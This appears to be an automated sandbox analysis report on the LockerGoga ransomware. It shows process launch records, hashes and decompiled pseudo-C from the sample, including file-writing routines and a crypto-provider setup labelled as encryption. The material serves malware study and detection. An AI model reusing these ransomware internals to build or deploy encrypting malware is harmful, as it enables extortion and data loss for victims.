Analysis Process: tgytutrc3979.exe PID: 304 Parent PID: 2344

General

Start time:	10:10:46
Start date:	20/03/2019
Path:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s
Imagebase:	0x50000
File size:	1268600 bytes
MD5 hash:	E11502659F6B5C5BD9F78F534BC38FEA
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: tgytutrc3979.exe PID: 1772 Parent PID: 2344

General

Start time:	10:11:43
Start date:	20/03/2019
Path:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s
Imagebase:	0x50000
File size:	1268600 bytes
MD5 hash:	E11502659F6B5C5BD9F78F534BC38FEA
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: tgytutrc3979.exe PID: 3956 Parent PID: 2344

General

Start time:	10:12:12
Start date:	20/03/2019
Path:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s
Imagebase:	0x50000
File size:	1268600 bytes
MD5 hash:	E11502659F6B5C5BD9F78F534BC38FEA
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: tgytutrc3979.exe PID: 3020 Parent PID: 2344

General

Start time:	10:13:26
Start date:	20/03/2019
Path:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s
Imagebase:	0x50000
File size:	1268600 bytes
MD5 hash:	E11502659F6B5C5BD9F78F534BC38FEA
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: tgytutrc3979.exe PID: 1340 Parent PID: 2344

General

Start time:	10:13:58
Start date:	20/03/2019
Path:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s
Imagebase:	0x50000
File size:	1268600 bytes
MD5 hash:	E11502659F6B5C5BD9F78F534BC38FEA
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: tgytutrc3979.exe PID: 3248 Parent PID: 2344

General

Start time:	10:14:30
Start date:	20/03/2019
Path:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s
Imagebase:	0x50000
File size:	1268600 bytes
MD5 hash:	E11502659F6B5C5BD9F78F534BC38FEA
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: tgytutrc3979.exe PID: 3068 Parent PID: 2344

General

Start time:	10:15:09
Start date:	20/03/2019
Path:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s
Imagebase:	0x50000
File size:	1268600 bytes
MD5 hash:	E11502659F6B5C5BD9F78F534BC38FEA
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: tgytutrc3979.exe PID: 2688 Parent PID: 2344

General

Start time:	10:15:37
Start date:	20/03/2019
Path:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s
Imagebase:	0x50000
File size:	1268600 bytes
MD5 hash:	E11502659F6B5C5BD9F78F534BC38FEA
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: tgytutrc3979.exe PID: 2692 Parent PID: 2344

General

Start time:	10:16:42
Start date:	20/03/2019
Path:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s
Imagebase:	0x50000
File size:	1268600 bytes
MD5 hash:	E11502659F6B5C5BD9F78F534BC38FEA
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: LockerGogaRecent.exe PID: 2644 Parent PID: 3596 LockerGogaRecent.exeUNIQUE

Executed Functions

Function 000D1880, Relevance: 21.5, APIs: 5, Strings: 7, Instructions: 452
UNIQUECrypto

Download Yara Rule

C-Code - Quality: 54%

			E000D1880(void* __ebx, intOrPtr* __ecx, void* __edx, void* __edi, void* __eflags) {
				signed int _v0;
				signed int _v4;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				char _v80;
				signed int _v84;
				char _v88;
				char _v92;
				char _v96;
				char _v128;
				char _v132;
				signed char _v133;
				char _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				char _v152;
				signed int _v156;
				intOrPtr* _v184;
				char _v204;
				signed int _v208;
				signed int _v320;
				signed int _v324;
				signed int _v328;
				intOrPtr _v372;
				char _v392;
				signed int _v396;
				intOrPtr _v504;
				char _v520;
				void* __esi;
				void* __ebp;
				signed int _t172;
				signed int _t173;
				intOrPtr _t180;
				signed int _t186;
				signed int _t187;
				signed int _t198;
				signed int _t199;
				intOrPtr _t201;
				signed int _t203;
				signed int _t211;
				intOrPtr _t216;
				signed int _t223;
				signed int _t224;
				signed int _t235;
				signed int _t239;
				signed int _t246;
				signed int _t250;
				signed int _t268;
				intOrPtr _t271;
				void* _t273;
				signed int _t297;
				void* _t305;
				char* _t306;
				intOrPtr _t308;
				signed int _t310;
				intOrPtr _t320;
				char* _t324;
				signed int _t330;
				intOrPtr _t336;
				char* _t339;
				signed int _t340;
				char* _t343;
				signed int _t358;
				intOrPtr _t361;
				signed int _t364;
				signed int _t378;
				void* _t379;
				void* _t381;
				signed int _t382;
				signed int _t383;
				void* _t388;
				signed int* _t389;
				signed int _t390;
				intOrPtr _t392;
				signed int _t394;
				signed int _t397;
				intOrPtr* _t399;
				intOrPtr _t401;
				intOrPtr* _t402;
				signed int _t403;
				char* _t405;
				signed int _t411;
				signed int _t412;
				signed int _t413;
				signed int _t414;
				void* _t416;
				signed int _t417;
				signed int _t419;
				void* _t420;
				signed int _t421;
				signed int _t422;

				_t388 = __edi;
				_t305 = __ebx;
				_push(0xffffffff);
				_push(0x1350a0);
				_push( *[fs:0x0]);
				_t417 = _t416 - 0x24;
				_t172 =  *0x16f170; // 0xd529e887
				_t173 = _t172 ^ _t411;
				_v20 = _t173;
				_push(_t173);
				 *[fs:0x0] =  &_v16;
				_t399 = __ecx;
				_v48 = __ecx;
				_v52 = __ecx;
				_push(0x1c);
				_v28 = 0;
				_v24 = 0xf;
				_v44 = 0;
				E00068B90( &_v44, __edx, __ecx, "FileSink: error writing file");
				asm("xorps xmm0, xmm0");
				_v8 = 0;
				asm("movq [esi+0x4], xmm0");
				_v8 = 1;
				_t12 = _t399 + 0x10; // 0x14
				 *_t399 = 0x13b7a4;
				 *(_t399 + 0xc) = 5;
				E00064B40(_t12, __edx,  &_v44);
				_t378 = _v24;
				 *_t399 = 0x13ef54;
				if(_t378 < 0x10) {
					L4:
					 *_t399 = 0x13ef6c;
					 *[fs:0x0] = _v16;
					return E000ECED8(_v20 ^ _t411);
				} else {
					_t320 = _v44;
					_t379 = _t378 + 1;
					_t180 = _t320;
					if(_t379 < 0x1000) {
						L3:
						_push(_t379);
						E000ED2D0(_t320);
						goto L4;
					} else {
						_t320 =  *((intOrPtr*)(_t320 - 4));
						_t379 = _t379 + 0x23;
						if(_t180 - _t320 + 0xfffffffc > 0x1f) {
							E0010F44B(__ebx, _t320, _t379, __edi, __eflags);
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							_push(_t411);
							_t412 = _t417;
							_push(0xffffffff);
							_push(0x133e28);
							_push( *[fs:0x0]);
							_t419 = _t417 - 0x6c;
							_t186 =  *0x16f170; // 0xd529e887
							_t187 = _t186 ^ _t412;
							_v84 = _t187;
							_push(_t399);
							_push(_t187);
							 *[fs:0x0] =  &_v80;
							_t401 = _t320;
							_t321 =  *(_t401 + 0x10);
							__eflags =  *(_t401 + 0x10);
							if( *(_t401 + 0x10) == 0) {
								E00064B00( &_v48, "FileSink: output stream not opened");
								_v12 = 0;
								E000D15D0( &_v48);
								E001047B7( &_v88, 0x1694c8);
								goto L10;
							} else {
								E0006AEE0(__ebx, _t321, _t379, __edi);
								__eflags =  *( *((intOrPtr*)( *( *(_t401 + 0x10)) + 4)) +  *(_t401 + 0x10) + 0xc);
								if(__eflags != 0) {
									L10:
									_t324 =  &_v128;
									E000D1880(_t305, _t324, _t379, _t388, __eflags);
									E001047B7( &_v128, 0x1694e8);
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									_t413 = _t419;
									_t420 = _t419 - 0x84;
									_t198 =  *0x16f170; // 0xd529e887
									_t199 = _t198 ^ _t413;
									_v208 = _t199;
									 *[fs:0x0] =  &_v204;
									_t306 = _t324;
									_t402 = _v184;
									_t38 = _t306 + 0x10; // 0x10
									_t389 = _t38;
									_v320 = 0;
									 *_t389 = 0;
									 *(_t306 + 0xc) = 0;
									_t201 =  *_t402;
									_t42 = _t201 + 4; // 0xff348d8b
									_v328 = 0;
									_v324 = 0;
									_t203 =  *((intOrPtr*)( *_t42))("OutputFileNameWide", 0x171f38,  &_v324, _t199, _t388, _t401, _t305,  *[fs:0x0], 0x136302, 0xffffffff, _t412);
									__eflags = _t203;
									if(_t203 != 0) {
										L14:
										__eflags =  *((intOrPtr*)( *((intOrPtr*)( *_t402 + 4))))("OutputBinaryMode", 0x176030,  &_v133, 0xb0);
										_t381 =  !=  ? _v133 & 0x000000ff : 1;
										_v152 = 1;
										_t390 = E000ECF08(_t402,  *((intOrPtr*)( *((intOrPtr*)( *_t402 + 4))))("OutputBinaryMode", 0x176030,  &_v133, 0xb0));
										_t421 = _t420 + 4;
										_v156 = _t390;
										_v16 = 0;
										__eflags = _t390;
										if(__eflags == 0) {
											_t390 = 0;
											__eflags = 0;
										} else {
											 *_t390 = 0x151bc8;
											 *((intOrPtr*)(_t390 + 0x68)) = 0x13ac78;
											_t55 = _t390 + 4; // 0x4
											_v16 = 1;
											_v140 = 1;
											 *((intOrPtr*)(_t390 +  *((intOrPtr*)( *_t390 + 4)))) = 0x13ae84;
											_t61 =  *((intOrPtr*)( *_t390 + 4)) - 8; // -8
											 *((intOrPtr*)( *((intOrPtr*)( *_t390 + 4)) + _t390 - 4)) = _t61;
											E0006B150( *((intOrPtr*)( *_t390 + 4)) + _t390, _t381, __eflags, _t55, 0);
											_v16 = 3;
											 *((intOrPtr*)(_t390 +  *((intOrPtr*)( *_t390 + 4)))) = 0x13efc4;
											_t69 =  *((intOrPtr*)( *_t390 + 4)) - 0x68; // -104
											 *((intOrPtr*)( *((intOrPtr*)( *_t390 + 4)) + _t390 - 4)) = _t69;
											E000690C0(_t306, _t55, 0);
										}
										_t330 =  *(_t306 + 0xc);
										_v16 = 0xffffffff;
										__eflags = _t330;
										if(_t330 != 0) {
											_t364 = _t330 +  *((intOrPtr*)( *_t330 + 4));
											__eflags = _t364;
											 *((intOrPtr*)( *_t364))(1);
										}
										_t382 = _v144;
										_t208 = 0x12;
										 *(_t306 + 0xc) = _t390;
										_v140 = 0x32;
										_t78 = _t208 - 0xe; // 0x4
										_t403 = _t78;
										__eflags = _t382;
										if(_t382 == 0) {
											L25:
											_t383 = _v148;
											__eflags = _t383;
											if(_t383 == 0) {
												L30:
												 *(_t306 + 0x10) = _t390;
												goto L31;
											} else {
												__eflags = _v152;
												_t98 = _t390 + 4; // 0x4
												_t210 =  !=  ? _v140 : _t208;
												_t211 = E00068FD0(_t98, _t383, _t383,  !=  ? _v140 : _t208, 0x40);
												__eflags = _t211;
												_push(0);
												_t336 =  *((intOrPtr*)( *_t390 + 4));
												if(_t211 != 0) {
													_t337 = _t336 + _t390;
													__eflags =  *(_t336 + _t390 + 0x38);
													_t403 =  !=  ? 0 : _t403;
													_push(_t403);
												} else {
													_t337 = _t336 + _t390;
													__eflags =  *(_t337 + 0x38);
													_push(0x00000002 + (0 |  *(_t337 + 0x38) == 0x00000000) * 0x00000004 |  *(_t337 + 0xc));
												}
												E00053470(_t306, _t337, _t383, _t390);
												_t390 =  *(_t306 + 0xc);
												_t216 =  *((intOrPtr*)( *_t390 + 4));
												__eflags =  *(_t216 + _t390 + 0xc) & 0x00000006;
												if(( *(_t216 + _t390 + 0xc) & 0x00000006) != 0) {
													goto L33;
												} else {
													goto L30;
												}
											}
										} else {
											__eflags = _v152;
											_push(0x40);
											_t265 =  !=  ? _v140 : 0x12;
											_push(0x12);
											_push(_t382);
											L49();
											__eflags =  !=  ? _v140 : 0x12;
											_push(0);
											_t361 =  *((intOrPtr*)( *_t390 + 4));
											if(( !=  ? _v140 : 0x12) != 0) {
												_t362 = _t361 + _t390;
												_t383 = 0;
												__eflags =  *(_t361 + _t390 + 0x38);
												_t268 =  !=  ? 0 : _t403;
											} else {
												_t362 = _t361 + _t390;
												__eflags =  *(_t362 + 0x38);
												_t268 = 0x00000002 + (0 |  *(_t362 + 0x38) == 0x00000000) * 0x00000004 |  *(_t362 + 0xc);
											}
											_push(_t268);
											E00053470(_t306, _t362, _t383, _t390);
											_t390 =  *(_t306 + 0xc);
											_t271 =  *((intOrPtr*)( *_t390 + 4));
											__eflags =  *(_t271 + _t390 + 0xc) & 0x00000006;
											if(( *(_t271 + _t390 + 0xc) & 0x00000006) != 0) {
												_t273 = E000B3BC0(_t306, _t390,  &_v52, _v144, 0);
												_t421 = _t421 + 0xc;
												_v16 = 4;
												E000D16D0(_t306,  &_v92, _t383, _t273);
												E001047B7( &_v92, 0x16946c);
												L33:
												E00064B00( &_v52, _v148);
												_v16 = 5;
												_t339 =  &_v132;
												E000D16D0(_t306, _t339, _t383,  &_v52);
												E001047B7( &_v132, 0x16946c);
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												_push(_t413);
												_t414 = _t421;
												_push(0xffffffff);
												_push(0x136338);
												_push( *[fs:0x0]);
												_t422 = _t421 - 0x70;
												_t223 =  *0x16f170; // 0xd529e887
												_t224 = _t223 ^ _t414;
												_v396 = _t224;
												_push(_t306);
												_push(_t403);
												_push(_t390);
												_push(_t224);
												 *[fs:0x0] =  &_v392;
												_t392 = _t339;
												_v504 = _t392;
												_t340 =  *(_t392 + 0x10);
												_t308 = _v372;
												__eflags = _t340;
												if(_t340 == 0) {
													E00064B00( &_v56, "FileSink: output stream not opened");
													_v20 = 0;
													E000D15D0( &_v56);
													E001047B7( &_v96, 0x1694c8);
													goto L48;
												} else {
													_t403 = _v4;
													__eflags = _t403;
													if(_t403 != 0) {
														do {
															_t383 = 0;
															_t397 = _t403;
															__eflags = _t403;
															if(_t403 != 0) {
																_t358 = 1;
															} else {
																_t358 = 0;
															}
															__eflags = 0 - _t403;
															asm("sbb eax, eax");
															__eflags =  ~0x00000000 - _t358;
															if( ~0x00000000 != _t358) {
																_t397 = _t397 | 0xffffffff;
																__eflags = _t397;
																_t383 = 0x7fffffff;
															}
															E000D1F00( *((intOrPtr*)(_v140 + 0x10)), _t308, _t397, _t383); // executed
															_t308 = _t308 + _t397;
															_t403 = _t403 - _t397;
															__eflags = _t403;
														} while (_t403 != 0);
														_t392 = _v140;
														_t340 =  *(_t392 + 0x10);
													}
													__eflags = _v0;
													if(_v0 != 0) {
														E0006AEE0(_t308, _t340, _t383, _t392); // executed
														_t340 =  *(_t392 + 0x10);
													}
													__eflags =  *( *((intOrPtr*)( *_t340 + 4)) + _t340 + 0xc);
													if(__eflags != 0) {
														L48:
														_t343 =  &_v136;
														E000D1880(_t308, _t343, _t383, _t392, __eflags);
														E001047B7( &_v136, 0x1694e8);
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														_push(_t414);
														_push(0xffffffff);
														_push(0x136368);
														_push( *[fs:0x0]);
														_push(_t308);
														_push(_t403);
														_push(_t392);
														_t235 =  *0x16f170; // 0xd529e887
														_push(_t235 ^ _t422);
														 *[fs:0x0] =  &_v520;
														_t405 = _t343;
														__eflags =  *(_t405 + 0x4c);
														if( *(_t405 + 0x4c) != 0) {
															L58:
															__eflags = 0;
															 *[fs:0x0] = _v32;
															return 0;
														} else {
															_push(_v4);
															_push(_v8);
															_t239 = E000D9FD4(_v12);
															__eflags = _t239;
															if(_t239 == 0) {
																goto L58;
															} else {
																E00068EF0(_t239, _t405, _t239, 1);
																_t394 =  *( *((intOrPtr*)(_t405 + 0x34)) + 4);
																_v24 = 0;
																_v36 = _t394;
																 *((intOrPtr*)( *_t394 + 4))();
																_v24 = 1;
																_t310 = E0006F530(_t383,  &_v40);
																_t246 =  *((intOrPtr*)( *((intOrPtr*)( *_t310 + 0xc))))();
																__eflags = _t246;
																if(_t246 == 0) {
																	 *(_t405 + 0x38) = _t310;
																	E0006B030(_t405);
																} else {
																	 *(_t405 + 0x38) = 0;
																}
																_v24 = 2;
																__eflags = _t394;
																if(_t394 != 0) {
																	_t250 =  *((intOrPtr*)( *_t394 + 8))();
																	__eflags = _t250;
																	if(_t250 != 0) {
																		 *((intOrPtr*)( *_t250))(1);
																	}
																}
																 *[fs:0x0] = _v32;
																return _t405;
															}
														}
													} else {
														 *[fs:0x0] = _v28;
														__eflags = _v32 ^ _t414;
														return E000ECED8(_v32 ^ _t414);
													}
												}
											} else {
												_t208 = 0x12;
												goto L25;
											}
										}
									} else {
										_t297 =  *((intOrPtr*)( *((intOrPtr*)( *_t402 + 4))))("OutputFileName", 0x171f48,  &_v148);
										__eflags = _t297;
										if(_t297 != 0) {
											goto L14;
										} else {
											 *((intOrPtr*)( *_t402 + 4))("OutputStreamPointer", 0x17797c, _t389);
											L31:
											 *[fs:0x0] = _v24;
											__eflags = _v28 ^ _t413;
											return E000ECED8(_v28 ^ _t413);
										}
									}
								} else {
									 *[fs:0x0] = _v20;
									__eflags = _v24 ^ _t412;
									return E000ECED8(_v24 ^ _t412);
								}
							}
						} else {
							goto L3;
						}
					}
				}
			}

0x000d1880
0x000d1880
0x000d1883
0x000d1885
0x000d1890
0x000d1891
0x000d1894
0x000d1899
0x000d189b
0x000d189f
0x000d18a3
0x000d18a9
0x000d18ab
0x000d18ae
0x000d18b4
0x000d18bb
0x000d18c2
0x000d18c9
0x000d18cd
0x000d18d2
0x000d18d5
0x000d18dc
0x000d18e4
0x000d18e9
0x000d18ec
0x000d18f2
0x000d18f9
0x000d18fe
0x000d1901
0x000d190a
0x000d1934
0x000d1934
0x000d193f
0x000d1955
0x000d190c
0x000d190c
0x000d190f
0x000d1910
0x000d1918
0x000d192a
0x000d192a
0x000d192c
0x00000000
0x000d191a
0x000d191a
0x000d191d
0x000d1928
0x000d1956
0x000d195b
0x000d195c
0x000d195d
0x000d195e
0x000d195f
0x000d1960
0x000d1961
0x000d1963
0x000d1965
0x000d1970
0x000d1971
0x000d1974
0x000d1979
0x000d197b
0x000d197e
0x000d197f
0x000d1983
0x000d1989
0x000d198b
0x000d198e
0x000d1990
0x000d19cc
0x000d19d4
0x000d19df
0x000d19ed
0x00000000
0x000d1992
0x000d1992
0x000d199f
0x000d19a4
0x000d19f2
0x000d19f2
0x000d19f5
0x000d1a03
0x000d1a08
0x000d1a09
0x000d1a0a
0x000d1a0b
0x000d1a0c
0x000d1a0d
0x000d1a0e
0x000d1a0f
0x000d1a11
0x000d1a21
0x000d1a27
0x000d1a2c
0x000d1a2e
0x000d1a38
0x000d1a3e
0x000d1a40
0x000d1a43
0x000d1a43
0x000d1a46
0x000d1a53
0x000d1a59
0x000d1a60
0x000d1a6d
0x000d1a72
0x000d1a7c
0x000d1a86
0x000d1a88
0x000d1a8a
0x000d1ac1
0x000d1adc
0x000d1ae3
0x000d1aeb
0x000d1af6
0x000d1af8
0x000d1afb
0x000d1b01
0x000d1b08
0x000d1b0a
0x000d1b78
0x000d1b78
0x000d1b0c
0x000d1b0c
0x000d1b12
0x000d1b1b
0x000d1b21
0x000d1b28
0x000d1b2f
0x000d1b3b
0x000d1b3e
0x000d1b49
0x000d1b54
0x000d1b5e
0x000d1b6a
0x000d1b6d
0x000d1b71
0x000d1b71
0x000d1b7a
0x000d1b7d
0x000d1b84
0x000d1b86
0x000d1b8f
0x000d1b8f
0x000d1b93
0x000d1b93
0x000d1b95
0x000d1b9b
0x000d1ba0
0x000d1ba3
0x000d1baa
0x000d1baa
0x000d1bad
0x000d1baf
0x000d1c13
0x000d1c13
0x000d1c19
0x000d1c1b
0x000d1c75
0x000d1c75
0x00000000
0x000d1c1d
0x000d1c1d
0x000d1c24
0x000d1c29
0x000d1c2f
0x000d1c34
0x000d1c38
0x000d1c3a
0x000d1c3d
0x000d1c56
0x000d1c5a
0x000d1c5d
0x000d1c60
0x000d1c3f
0x000d1c3f
0x000d1c43
0x000d1c53
0x000d1c53
0x000d1c61
0x000d1c66
0x000d1c6b
0x000d1c6e
0x000d1c73
0x00000000
0x00000000
0x00000000
0x00000000
0x000d1c73
0x000d1bb1
0x000d1bb1
0x000d1bbb
0x000d1bbd
0x000d1bc1
0x000d1bc2
0x000d1bc3
0x000d1bc8
0x000d1bcc
0x000d1bce
0x000d1bd1
0x000d1be9
0x000d1beb
0x000d1bef
0x000d1bf2
0x000d1bd3
0x000d1bd3
0x000d1bd7
0x000d1be4
0x000d1be4
0x000d1bf5
0x000d1bf6
0x000d1bfb
0x000d1c00
0x000d1c03
0x000d1c08
0x000d1ca2
0x000d1ca7
0x000d1cae
0x000d1cb5
0x000d1cc3
0x000d1cc8
0x000d1cd1
0x000d1cd9
0x000d1ce1
0x000d1ce4
0x000d1cf2
0x000d1cf7
0x000d1cf8
0x000d1cf9
0x000d1cfa
0x000d1cfb
0x000d1cfc
0x000d1cfd
0x000d1cfe
0x000d1cff
0x000d1d00
0x000d1d01
0x000d1d03
0x000d1d05
0x000d1d10
0x000d1d11
0x000d1d14
0x000d1d19
0x000d1d1b
0x000d1d1e
0x000d1d1f
0x000d1d20
0x000d1d21
0x000d1d25
0x000d1d2b
0x000d1d2d
0x000d1d30
0x000d1d33
0x000d1d36
0x000d1d38
0x000d1dc6
0x000d1dce
0x000d1dd9
0x000d1de7
0x00000000
0x000d1d3e
0x000d1d3e
0x000d1d41
0x000d1d43
0x000d1d45
0x000d1d45
0x000d1d47
0x000d1d49
0x000d1d4b
0x000d1d51
0x000d1d4d
0x000d1d4d
0x000d1d4d
0x000d1d58
0x000d1d5a
0x000d1d5e
0x000d1d60
0x000d1d62
0x000d1d62
0x000d1d65
0x000d1d65
0x000d1d73
0x000d1d78
0x000d1d7a
0x000d1d7a
0x000d1d7a
0x000d1d7e
0x000d1d81
0x000d1d81
0x000d1d84
0x000d1d88
0x000d1d8a
0x000d1d8f
0x000d1d8f
0x000d1d97
0x000d1d9c
0x000d1dec
0x000d1dec
0x000d1def
0x000d1dfd
0x000d1e02
0x000d1e03
0x000d1e04
0x000d1e05
0x000d1e06
0x000d1e07
0x000d1e08
0x000d1e09
0x000d1e0a
0x000d1e0b
0x000d1e0c
0x000d1e0d
0x000d1e0e
0x000d1e0f
0x000d1e10
0x000d1e13
0x000d1e15
0x000d1e20
0x000d1e24
0x000d1e25
0x000d1e26
0x000d1e27
0x000d1e2e
0x000d1e32
0x000d1e38
0x000d1e3a
0x000d1e3e
0x000d1ee7
0x000d1ee7
0x000d1eec
0x000d1efa
0x000d1e44
0x000d1e44
0x000d1e47
0x000d1e4d
0x000d1e55
0x000d1e57
0x00000000
0x000d1e5d
0x000d1e62
0x000d1e6a
0x000d1e6f
0x000d1e76
0x000d1e7b
0x000d1e81
0x000d1e8e
0x000d1e9a
0x000d1e9c
0x000d1e9e
0x000d1eab
0x000d1eae
0x000d1ea0
0x000d1ea0
0x000d1ea0
0x000d1eb3
0x000d1eba
0x000d1ebc
0x000d1ec2
0x000d1ec5
0x000d1ec7
0x000d1ecf
0x000d1ecf
0x000d1ec7
0x000d1ed6
0x000d1ee4
0x000d1ee4
0x000d1e57
0x000d1d9e
0x000d1da3
0x000d1db1
0x000d1dbb
0x000d1dbb
0x000d1d9c
0x000d1c0e
0x000d1c0e
0x00000000
0x000d1c0e
0x000d1c08
0x000d1a8c
0x000d1aa4
0x000d1aa6
0x000d1aa8
0x00000000
0x000d1aaa
0x000d1ab9
0x000d1c78
0x000d1c7b
0x000d1c89
0x000d1c93
0x000d1c93
0x000d1aa8
0x000d19a6
0x000d19ab
0x000d19b7
0x000d19c1
0x000d19c1
0x000d19a4
0x00000000
0x00000000
0x00000000
0x000d1928
0x000d1918

APIs

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

__CxxThrowException@8.LIBVCRUNTIME ref: 000D19ED

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,D529E887,0016AD84,D529E887), ref: 00104817

Part of subcall function 000D1880: __CxxThrowException@8.LIBVCRUNTIME ref: 000D1A03
Part of subcall function 000D1880: __CxxThrowException@8.LIBVCRUNTIME ref: 000D1CC3
Part of subcall function 000D1880: __CxxThrowException@8.LIBVCRUNTIME ref: 000D1CF2
Part of subcall function 000D1880: __CxxThrowException@8.LIBVCRUNTIME ref: 000D1DE7
Part of subcall function 000D1880: __CxxThrowException@8.LIBVCRUNTIME ref: 000D1DFD

Strings

OutputBinaryMode, xrefs: 000D1ACC
OutputStreamPointer, xrefs: 000D1AB4
OutputFileNameWide, xrefs: 000D1A68
2, xrefs: 000D1BA3
OutputFileName, xrefs: 000D1A9A
FileSink: error writing file, xrefs: 000D18B6
FileSink: output stream not opened, xrefs: 000D19C4

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Exception@8Throw$ExceptionFeaturePresentProcessorRaise___raise_securityfailure
String ID: 2$FileSink: error writing file$FileSink: output stream not opened$OutputBinaryMode$OutputFileName$OutputFileNameWide$OutputStreamPointer
API String ID: 654547538-2427754487
Opcode ID: fed5aad801a1b96eb85e7ea6d1bbb97484191b8d841918e841686e8d2c42a280
Instruction ID: 7af9dbecc00f9fe36a927a27aecf46067e7df6c74e4dabacb58a2a706d38f811
Opcode Fuzzy Hash: fed5aad801a1b96eb85e7ea6d1bbb97484191b8d841918e841686e8d2c42a280
Instruction Fuzzy Hash: FFF19F71A00208AFDB24DF64C885FEEBBF5FF48710F14855AE915AB382DB75A905CB90

Uniqueness

Uniqueness Score: 100.00%

Function 000CA250, Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 123
encryptionUNIQUE

Download Yara Rule

C-Code - Quality: 52%

			E000CA250(void* __ebx, HCRYPTPROV* __ecx, void* __edx) {
				char* _v8;
				char _v16;
				signed int _v20;
				char _v44;
				char _v84;
				intOrPtr _v144;
				char* _v156;
				char _v164;
				intOrPtr* _v168;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t22;
				signed int _t23;
				int _t25;
				char* _t29;
				signed int _t37;
				signed int _t38;
				long _t49;
				intOrPtr* _t56;
				void* _t60;
				intOrPtr* _t64;
				HCRYPTPROV* _t67;
				intOrPtr _t69;
				signed int _t71;
				void* _t73;
				signed int _t74;

				_t60 = __edx;
				_push(0xffffffff);
				_push(0x134d48);
				_push( *[fs:0x0]);
				_t74 = _t73 - 0x44;
				_t22 =  *0x16f170; // 0xd529e887
				_t23 = _t22 ^ _t71;
				_v20 = _t23;
				_push(_t23);
				 *[fs:0x0] =  &_v16;
				_t67 = __ecx;
				 *__ecx = 0; // executed
				_t25 = CryptAcquireContextA(__ecx, 0, 0, 1, 0xf0000000); // executed
				if(_t25 != 0) {
					L3:
					 *[fs:0x0] = _v16;
					return E000ECED8(_v20 ^ _t71);
				} else {
					_t49 = GetLastError();
					_t29 = CryptAcquireContextA(_t67, "Crypto++ RNG", 0, 1, 8);
					if(_t29 != 0 || CryptAcquireContextA(_t67, "Crypto++ RNG", _t29, 1, 0x28) != 0) {
						goto L3;
					} else {
						SetLastError(_t49);
						E00064B00( &_v44, "CryptAcquireContext");
						_v8 = 0;
						_t56 =  &_v84;
						E000CA3B0(_t49, _t56, _t60, CryptAcquireContextA, _t67, __eflags,  &_v44);
						E001047B7( &_v84, 0x16909c);
						asm("int3");
						asm("int3");
